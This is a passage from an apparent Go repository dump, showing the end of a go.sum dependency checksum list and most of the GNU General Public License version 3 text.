h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 138 | golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 139 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 140 | golang.org/x/sys v0.0.0-20191022100944-742c48ecaeb7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 141 | golang.org/x/sys v0.0.0-20191115151921-52ab43148777/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 142 | golang.org/x/sys v0.0.0-20191210023423-ac6580df4449/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 143 | golang.org/x/sys v0.0.0-20200120151820-655fe14d7479 h1:LhLiKguPgZL+Tglay4GhVtfF0kb8cvOJ0dHTCBO8YNI= 144 | golang.org/x/sys v0.0.0-20200120151820-655fe14d7479/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 145 | golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= 146 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 147 | golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs= 148 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 149 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 150 | golang.org/x/tools v0.0.0-20181030221726-6c7e314b6563/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 151 | golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 152 | golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= 153 | golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 154 | golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= 155 | google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= 156 | google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= 157 | google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= 158 | google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 159 | google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 160 | google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= 161 | google.golang.org/genproto v0.0.0-20200117163144-32f20d992d24 h1:wDju+RU97qa0FZT0QnZDg9Uc2dH0Ql513kFvHocz+WM= 162 | google.golang.org/genproto v0.0.0-20200117163144-32f20d992d24/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 163 | google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= 164 | google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= 165 | google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= 166 | google.golang.org/grpc v1.23.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= 167 | google.golang.org/grpc v1.26.0 h1:2dTRdpdFEEhJYQD8EMLB61nnrzSCTbG38PhqdhvOltg= 168 | google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= 169 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 170 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 171 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 172 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 173 | gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw= 174 | honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 175 | honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 176 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is 